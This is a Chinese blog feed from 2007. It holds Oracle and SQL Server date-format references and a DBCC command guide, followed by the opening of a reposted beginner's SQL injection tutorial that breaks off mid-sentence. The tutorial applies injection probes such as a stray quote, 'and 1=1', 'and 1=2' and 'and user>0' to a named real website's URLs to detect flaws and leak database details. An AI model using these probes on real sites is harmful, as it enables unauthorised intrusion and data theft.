            <p>日期函数： <br>add_months(d,n) 日期d加n个月 <br>last_day(d) 包含d的月份的最后一天的日期 <br>month_between(d,e) 日期d与e之间的月份数，e先于d <br>new_time(d,a,b) a时区的日期和时间d在b时区的日期和时间 <br>next_day(d,day) 比日期d晚，由day指定的周几的日期 <br>sysdate 当前的系统日期和时间 <br>greatest(d1,d2,...dn) 给出的日期列表中最后的日期 <br>least(d1,k2,...dn) 给出的日期列表中最早的日期 <br>to_char(d [,fmt]) 日期d按fmt指定的格式转变成字符串 <br>to_date(st [,fmt]) 字符串st按fmt指定的格式转成日期值，若fmt忽略，st要用缺省格式 <br>round(d [,fmt]) 日期d按fmt指定格式舍入到最近的日期 <br>trunc(d [,fmt]) 日期d按fmt指定格式截断到最近的日期 <br>附： <br>日期格式： <br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>格式代码　 说明 举例或可取值的范围 <br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>DD 该月某一天 1－3 <br>DY 　　　三个大写字母表示的周几 SUN，...SAT <br>DAY 　　　完整的周几，大写英文 SUNDAY，...SATURDAY <br>MM 月份 1－12 <br>MON　　　　　 三个大写字母表示的月份 JAN，...DEC <br>MONTH 完整 JANUARY,...DECEMBER <br>RM 月份的罗马数字 I,...XII <br>YY或YYYY 两位，四位数字年 <br>HH:MI:SS　　　时：分：秒 <br>HH12或HH24　　以12小时或24小时显示 <br>MI　　　　　　分 <br>SS　　　　　　秒 <br>AM或PM　　　　上下午指示符 <br>SP　　　　　　后缀SP要求拼写出任何数值字段 <br>TH　　　　　　后缀TH表示添加的数字是序数　4th,1st <br>FM 前缀对月或日或年值，禁止填充 <br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>例： <br>1. <br>下一个周五的日期 <br>select next_day(sysdate,6) from test; <br>2. <br>两个月前的今天的日期 <br>select add_months(sysdate,-2) from test; </p>
            </div>
            </td>
        </tr>
    </tbody>
</table>
<br><br></font></p>
<img src ="http://www.blogjava.net/19851985lili/aggbug/110340.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-04-13 09:02 <a href="http://www.blogjava.net/19851985lili/articles/110340.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL Server 日期格式转换(Convert用法)DBCC命令详解</title><link>http://www.blogjava.net/19851985lili/articles/110326.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Fri, 13 Apr 2007 00:31:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/110326.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/110326.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/110326.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/110326.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/110326.html</trackback:ping><description><![CDATA[<div class=tit>SQL Server 日期格式转换(Convert用法</div>
<table style="TABLE-LAYOUT: fixed">
    <tbody>
        <tr>
            <td>
            <div class=cnt>
            <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SQL Server中，Convert可以将日期转换成不同格式，格式控制是由CONVERT (data_type[(length)], expression [, style])中的style来完成的。下面列出了style取各种值时的效果：</p>
            <p class=indent>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在表中，左侧的两列表示将 <strong>datetime</strong> 或 <strong>smalldatetime</strong> 转换为字符数据的 <em>style</em> 值。给 <em>style</em> 值加 100，可获得包括世纪数位的四位年份 (yyyy)。</p>
            <p>
            <table cols=4 cellPadding=2 rules=all width=571 border=1 frame=box>
                <tbody>
                    <tr vAlign=top>
                        <th class=label width="23%">不带世纪数位 (<a name=baidusnap0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong>)</th>
                        <th class=label width="21%">带世纪数位 (yyyy)</th>
                        <th class=label width="27%"><br>标准</th>
                        <th class=label width="29%"><br>输入/输出**</th>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">0 或 100 (*) </td>
                        <td width="27%">默认值</td>
                        <td width="29%">mon <a name=baidusnap2></a><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> yyyy hh:miAM（或 PM）</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">1</td>
                        <td width="21%">101</td>
                        <td width="27%">美国</td>
                        <td width="29%"><a name=baidusnap1></a><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>/<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong>/yyyy</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">2</td>
                        <td width="21%">102</td>
                        <td width="27%">ANSI</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong>.<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>.<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">3</td>
                        <td width="21%">103</td>
                        <td width="27%">英国/法国</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong>/<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>/<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">4</td>
                        <td width="21%">104</td>
                        <td width="27%">德国</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong>.<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">5</td>
                        <td width="21%">105</td>
                        <td width="27%">意大利</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong>-<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>-<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">6</td>
                        <td width="21%">106</td>
                        <td width="27%">-</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> mon <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">7</td>
                        <td width="21%">107</td>
                        <td width="27%">-</td>
                        <td width="29%">mon <strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong>, <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">8</td>
                        <td width="21%">108</td>
                        <td width="27%">-</td>
                        <td width="29%">hh:<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>:ss</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">9 或 109 (*) </td>
                        <td width="27%">默认值 + 毫秒</td>
                        <td width="29%">mon <strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> yyyy <a name=baidusnap3></a><strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">hh:mi:ss</strong>:mmmAM（或 PM）</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">10</td>
                        <td width="21%">110</td>
                        <td width="27%">美国</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>-<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong>-<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">11</td>
                        <td width="21%">111</td>
                        <td width="27%">日本</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong>/<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>/<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong></td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">12</td>
                        <td width="21%">112</td>
                        <td width="27%">ISO</td>
                        <td width="29%">yymmdd</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">13 或 113 (*) </td>
                        <td width="27%">欧洲默认值 + 毫秒</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> mon yyyy hh:<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>:ss:mmm(24h)</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">14</td>
                        <td width="21%">114</td>
                        <td width="27%">-</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">hh:mi:ss</strong>:mmm(24h)</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">20 或 120 (*) </td>
                        <td width="27%">ODBC 规范</td>
                        <td width="29%"><em>yyyy</em>-<em><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>-<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> hh</em>:<em><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong></em>:<em>ss</em>[.<em>fff</em>]</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">21 或 121 (*) </td>
                        <td width="27%">ODBC 规范（带毫秒）</td>
                        <td width="29%"><em>yyyy</em>-<em><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>-<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> hh</em>:<em><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong></em>:<em>ss</em>[.<em>fff</em>]</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">126(***)</td>
                        <td width="27%">ISO8601</td>
                        <td width="29%">yyyy-<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>-<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> Thh:<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>:ss:mmm（不含空格）</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">130*</td>
                        <td width="27%">科威特</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong> mon yyyy <strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">hh:mi:ss</strong>:mmmAM</td>
                    </tr>
                    <tr vAlign=top>
                        <td width="23%">-</td>
                        <td width="21%">131*</td>
                        <td width="27%">科威特</td>
                        <td width="29%"><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">dd</strong>/<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">mm</strong>/<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">yy</strong> <strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">hh:mi:ss</strong>:mmmAM</td>
                    </tr>
                </tbody>
            </table>
            <br>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 默认值（<em>style</em> 0 或 100、9 或 109、13 或 113、20 或 120、21 或 121）始终返回世纪数位 (yyyy)。<br>** 当转换为 <strong>datetime </strong>时输入；当转换为字符数据时输出。<br>*** 专门用于 XML。对于从 <strong>datetime</strong> 或 <strong>smalldatetime</strong> 到 <strong>character</strong> 数据的转换，输出格式如表中所示。对于从 <strong>float</strong>、<strong>money</strong> 或 <strong>smallmoney</strong> 到 <strong>character</strong> 数据的转换，输出等同于 <em>style</em> 2。对于从 <strong>real</strong> 到 <strong>character</strong> 数据的转换，输出等同于 <em>style</em> 1。</p>
            <p class=level2></p>
            <p><img style="MARGIN-LEFT: 0em" height=11 src="" width=12 border=0> </p>
            <p style="MARGIN-TOP: -1.1em; MARGIN-LEFT: 1.5em"><strong class=notes>重要</strong>&nbsp;&nbsp;&nbsp; 默认情况下，SQL Server 根据截止年份 2049 解释两位数字的年份。即，两位数字的年份 49 被解释为 2049，而两位数字的年份 50 被解释为 1950。许多客户端应用程序（例如那些基于 OLE 自动化对象的客户端应用程序）都使用 2030 作为截止年份。SQL Server 提供一个配置选项（"两位数字的截止年份"），借以更改 SQL Server 所使用的截止年份并对日期进行一致性处理。然而最安全的办法是指定四位数字年份。</p>
            <p>&nbsp;</p>
            <p class=indent>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当从 <strong>smalldatetime</strong> 转换为字符数据时，包含秒或毫秒的<font style="BACKGROUND-COLOR: #316ac5" color=#ffffff>样式</font>将在这些位置上显示零。当从 <strong>datetime</strong> 或 <strong>smalldatetime</strong> 值进行转换时，可以通过使用适当的 <strong>char</strong> 或 <strong>varchar</strong> 数据类型长度来截断不需要的日期部分。</p>
            <p class=indent>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果想去掉字符串中的分隔符，可以用replace函数。比如：replace(replace(replace(replace(convert(varchar(30),getdate(),121),'-',''),' ',''),':',''),'.','')</p>
            </div>
            </td>
        </tr>
    </tbody>
</table>
<div class=tit>DBCC命令详解</div>
<table style="TABLE-LAYOUT: fixed">
    <tbody>
        <tr>
            <td>
            <div class=cnt><span>
            <p align=left>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们知道，在数据库系统的开发和应用中，必须保证数据库的完整性和一致性。
            <table style="MARGIN: 10px 7px 3px 0px" cellSpacing=0 cellPadding=0 align=right border=0>
                <tbody>
                    <tr>
                        <td><span></span></td>
                    </tr>
                </tbody>
            </table>
            当数据库出现了严重错误；当我们怀疑数据库受到破坏（如无法用drop命令删除数据库或对象，使用某个表时出现&#8220;不可靠数据&#8221;的信息等）；当用户改变了Server的缺省排序的顺序或改变了字符集而需要检查；当SA对系统做定期检查；这些时候，我们都需要使用数据库一致性检查工具（Database Consistenecy Checker，简称DBCC）。DBCC是一个实用命令集，用来检查一个数据库的逻辑一致性及物理一致性。在开发和应用中，DBCC是我们经常要使用的命令。 </p>
            <p align=left>　　DBCC命令的格式如下&nbsp;&nbsp;</p>
            <blockquote>
            <p align=left>dbcc <br>(checktable ((表名|表标识( [, skip_ncindex] ) | <br>checkdb [(数据库名[, skip_ncindex] )] | <br>checkalloc [ (数据库名[, fix | nofix] )] | <br>tablealloc( {表名|表标识} <br>[，{full |optimized |fast |null} <br>[, fix |nofix] ]]) | <br>indexalloc ( {表名|表标识}，索引标识<br>[，{full |optimezed | fast | null} <br>[, fix |nofix ]] ) | <br>checkcatalog [ (数据库名)] | <br>dbrepair(数据库名,dropdb ) | <br>reindex({表名|表标识} ) | <br>fix_text({表名|表标识) }&nbsp;&nbsp;</p>
            </blockquote>
            <p align=left>　　dbcc的权限，对于checktable,fix_text和reindex是缺省赋给表的属主，对于checkdb,checkalloc，checkcatalog,dbrepair，indexalloc和tablealloc，是缺省赋给数据库属主的。DBO自动获得DBCC命令和全部选项的权限。该权限不可转授。此外，dbcc在数据库是活动时运行，除了dbrepair选项和带有fix选项的dbcc checkalloc以外。 </p>
            <p align=left><strong>　　checktable选项</strong> </p>
            <p align=left>　　checktable是用来对一个指定的表做检查，确保索引和数据页正确地连接，索引按正确的顺序存储，所有指针的一致性，每页上数据信息的合理性，页偏移的合理性。如果日志段在它自己的（日志）设备上，对syslogs表使用dbcc checktable命令可以报告已使用的和剩余的日志空间，使用skip_ncindex选项使得dbcc checktable跳过对用户表上非聚簇索引（nonclustered index）的检查。缺省是检查所有的索引。 </p>
            <p align=left>　　例１.检查日志使用的空间量和未用的空间量： </p>
            <blockquote>
            <p align=left>dbcc checktable (syslogs)&nbsp;&nbsp;</p>
            </blockquote>
            <p align=left>　　若日志段在日志设备上，则会返回如下信息： </p>
            <blockquote>
            <p align=left>checking syslogs <br>The total number of data page in the table is 1. <br>NOTICE:Space used on the log segment is 0.20 Mbytes, 0.13%. <br>NOTICE:Space free on the log segment is 153.4Mbytes,99.87%. <br>DBCC execution Completed.If dbcc printed error messages, <br>Contact a user with SA role.&nbsp;&nbsp;</p>
            </blockquote>
            <p align=left>　　若日志不在它自己的设备上，则会显示下列信息： </p>
            <blockquote>
            <p align=left>NOTICE:Notification of log space used/free. <br>Can not be reported because the log segment is not on its own device. <br>例2. dbcc checktable (titles) <br>The total number of data page in this table is 3. <br>Table has 18 data rows. <br>DBCC execution Completed. If DBCC printed error messages. contact a user with SA role.&nbsp;&nbsp;</p>
            </blockquote>
            <p align=left><strong>　　checkdb选项</strong> </p>
            <p align=left>　　运行checkdb选项同checktable检查的内容一样，但它是对一指定数据库中的每张表都做这样的检查。若未指定数据库名，checkdb检查当前的数据库。checkdb返回的信息，也同于checktable。 </p>
            <p align=left><strong>　　checkalloc选项</strong> </p>
            <p align=left>　　checkalloc是检查指定数据库，看其所有正确分配的页和尚未分配的页的情况。若未指定数据库名，则checkalloc检查当前数据库。checkalloc会返回已分配的和使用的空间数量。checkalloc的缺省模式为nofix，要使用fix选项，必须把数据库置于单用户模式。 </p>
            <p align=left>　例： </p>
            <blockquote>
            <p align=left>dbcc checkalloc (pubs2) <br>. <br>. <br>. <br>alloc page 0 (#of extent=32 used pages=68 ref pages=68) <br>alloc page 256 (# of extent=32 used pages=154 ref pages=154) <br>alloc page 512 (# of extent=28 used pages=184 ref pages=184) <br>alloc page 768 (# of extent=1 used pages=1 ref pages=1) <br>total (# of extent=93 used pages=407 ref pages=407) in this database. <br>DBCC execution completed.If dbcc printed error message, <br>Contact a user with System Adminstrator (SA) role.&nbsp;&nbsp;</p>
            </blockquote>
            <p align=left><strong>　　tablealloc选项</strong> </p>
            <p align=left>　　tablealloc检查指定的表以确保所有页都被正确地分配。它是checkalloc的缩小版本。对单张表进行相同的完整性检查。使用tablealloc可以生成三种类型的报表：full,optimized和fast。full选项相当于表一级的checkalloc；它报告各种类型的分配错误。optimized选项基于表的对象分配映像（OAM）页里列出的分配页生成报告。它并不报告，也不能整理OAM页里没有列出的在分配页上没有引用的扩展（extent）。如果没有指明类型，或使用了null，则optimized选项是缺省的设置。fast选项，并不生成分配报告，但生成一个被引用但并没有在扩展里分配的页的额外的报告。fix|nofix选项决定tablealloc 是否整理表中发现的分配错误。对于所有的表，缺省为fix，但系统表除外，它们的缺省为nofix。要对系统表使用fix选项，必须首先将数据库置成单用户模式。 </p>
            <p align=left>例： </p>
            <blockquote>
            <p align=left>dbcc tablealloc(titles) <br>显示信息如下： <br>The default report option of OPTIMIZED is used for this run. The default fix option of FIX.is used for this run. <br>. <br>. <br>. <br>Total #of extent=3 <br>Alloc page 256 (# of extent=1 used pages=2 ref pages=2). <br>Alloc page 256(# of extent=1 used pages=2 ref pages=2) <br>Alloc page 256 (# of extent=1 used pages=2 ref pages=2) <br>Total (# of extent=3 used pages=8 ref pages=8) in this database.&nbsp;&nbsp;</p>
            </blockquote>
            <p align=left><strong>　　indexalloc 选项</strong> </p>
            <p align=left>　　indexalloc检查指定的索引，确保所有的页都被正确地分配，它是checkalloc的缩小版本，对单独一条索引指定同样的完整性检查。其中各选项与tablealloc相同。 </p>
            <p align=left><strong>　　checkcatalog选项</strong> </p>
            <p align=left>　　checkcatalog选项用于检查系统表内，系统表之间的一致性。例如：它确保在syscolumns表中的每一（数据）类型在systypes表中都有一个相匹配的记录；对于sysobjects中的每个表和视图在syscolumns表中应有关于它们每一列的描述记录；确保在syslogs中的最后一个检查点是有效的。checkcatalog也报告任何已定义的段。若不指定数据库名，则检查当前数据库。 </p>
            <p align=left><strong>　　dbrepair选项</strong> </p>
            <p align=left>　　dbrepair（数据库名，dropdb）选项是删除一个受破坏的数据库。受破坏的数据库是不能用drop database命令删除的，drop database只能删除正常的数据库，当执行dbrepair命令时，任何用户（包括执行此命令的用户）都不得使用正被删除的数据库。该选项要在master库中运行。 </p>
            <p align=left><strong>　　reindex选项</strong> </p>
            <p align=left>　　reindex选项通过运行dbcc checktable的&#8220;fast&#8221;执行方式检查用户表上索引的完整性。如果它检测出索引有问题则会删除并重建索引。在SQL Server的排列顺序改变之后，SA或表属主应该执行这一选项。此选项不能在用户定义的事务中运行。 </p>
            <p align=left>例： </p>
            <blockquote>
            <p align=left>dbcc reindex (titles) <br>返回信息：One or more indexes corrupt.They will be rebuilt.&nbsp;&nbsp;</p>
            </blockquote>
            <p align=left><strong>　　fix_text选项</strong> </p>
            <p align=left>　　SQL Server的字符集由单字节转变为多字节后，fix_text选项用于升级文本值。SQL Server的字符集由单字节转变为多字节字符集会使文本数据的管理更加复杂。由于文本值可能较大足以覆盖若干页，SQL Server必须能处理（通过页约束）可能横跨页的字符。为做到这点，服务器需要在每一文本页上添加一些信息。SA或表属主必须在文本数据的每一个表上运行dbcc fix_text，以计算所需要的新页数。 </p>
            <p align=left>　　总之，DBCC命令所返回的信息能准确地反映数据库及它的各个对象的状态，是我们检测数据库的好帮手。</p>
            </span></div>
            </td>
        </tr>
    </tbody>
</table>
<br>
<img src ="http://www.blogjava.net/19851985lili/aggbug/110326.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-04-13 08:31 <a href="http://www.blogjava.net/19851985lili/articles/110326.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>篇详细SQL注入方法</title><link>http://www.blogjava.net/19851985lili/articles/110318.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Fri, 13 Apr 2007 00:00:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/110318.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/110318.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/110318.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/110318.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/110318.html</trackback:ping><description><![CDATA[<strong>篇详细SQL注入方法，对初学者有很大的帮助！对你没帮助就不要顶！<br><br></strong>
<table style="LINE-HEIGHT: 15pt" cellSpacing=0 cellPadding=0 width="100%" border=0>
    <tbody>
        <tr>
            <td><span style="FONT-SIZE: 12px">随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong> Injection，即ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>。<br><br>ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。<br><br>但是，ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的手法相当灵活，在<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句，从而成功获取想要的数据，是高手与&#8220;菜鸟&#8221;的根本区别。<br><br>根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的方法及技巧，PHP<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的朋友也请不要跳过入门篇，因为部分人对<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的基本判断方法还存在误区。大家准备好了吗？Let's Go...<br><br>入 门 篇<br><br>如果你以前没试过ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。 <br><br>第一节、ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>原理<br><br>以下我们从一个网站www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。<br><br>在网站首页上，有名为&#8220;IE不能打开新窗口的多种解决方法&#8221;的链接，地址为：<a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a>，我们在这个地址后面加上单引号&#8217;，服务器会返回下面的错误提示：<br><br>Microsoft JET Database Engine 错误 '80040e14' <br>字符串的语法错误 在查询表达式 'ID=49'' 中。<br>/showdetail.asp，行8<br><br>从这个错误提示我们能看出下面几点：<br><br>1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。<br>2.程序没有判断客户端提交的数据是否符合程序要求。<br>3.该<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL</strong>语句所查询的表中有一名为ID的字段。<br><br>从上面的<strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子</strong>我们可以知道，ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。<br><br>第二节、判断能否进行ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong><br><br>　　看完第一节，有一些人会觉得：我也是经常这样测试能否<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的，这不是很简单吗？<br>　　其实，这并不是最好的方法，为什么呢？<br><br>　　首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。<br><br>其次，部分对ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>点的<br><br>　　那么，什么样的测试方法才是比较准确呢？答案如下：<br><br>① <a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a><br>② <a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a> and 1=1<br>③ <a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a> and 1=2<br><br>这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：<br><br>可以<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>的表现：<br><br>① 正常显示（这是必然的，不然就是程序有错误了）<br>② 正常显示，内容基本与①相同<br>③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）<br><br>不可以<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。<br><br>　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的&#8220;ＳＱＬ<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>一般步骤&#8221;再做分析。 <br><br>第三节、判断数据库类型及<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>方法<br><br>不同的数据库的函数、<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>方法都是有差异的，所以在<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。<br><br>怎么让程序告诉你它使用的什么数据库呢？来看看：<br><br>SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：<br><br><a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><u><font color=#0000ff>http://www.19cn.com/showdetail.asp?id=49</font></u></a> and user&gt;0<br><br>这句语句很简单，但却包含了SQLServer特有<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入</strong>方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and 